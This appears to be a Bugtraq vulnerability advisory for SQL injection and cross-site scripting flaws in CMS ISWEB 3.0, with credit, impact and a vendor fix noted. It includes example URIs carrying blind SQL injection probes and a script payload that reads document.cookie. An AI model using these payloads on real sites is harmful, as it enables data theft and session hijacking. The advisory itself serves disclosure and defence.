CMS ISWEB SQL Injection and Cross Site Scripting Vulnerabilities

Bugtraq ID:	32823
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 14 2008 12:00AM
Updated:	Jul 09 2010 06:37AM
Credit:	XaDoS
Vulnerable:	CMS ISWEB CMS ISWEB 3.0
Not Vulnerable:	CMS ISWEB CMS ISWEB 3.4

CMS ISWEB SQL Injection and Cross Site Scripting Vulnerabilities

CMS ISWEB is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMS ISWEB 3.0 is vulnerable; other versions may also be affected.

CMS ISWEB SQL Injection and Cross Site Scripting Vulnerabilities

An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.

The following example URIs are available:

http://www.example.com/index.php?id_sezione=297%20and%20substring(@@version,1,1)=4
http://www.example.com/index.php?id_sezione=297%20and%20substring(@@version,1,1)=5
http://www.example.com/index.php?id_doc=19&id_oggetto=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20XaDoS%3Ch1%3E%3C/marquee%3E

CMS ISWEB SQL Injection and Cross Site Scripting Vulnerabilities

Solution:
Vendor updates are available. Please contact the vendor for more information.

CMS ISWEB SQL Injection and Cross Site Scripting Vulnerabilities

References:

• CMS ISWEB Homepage (CMS ISWEB)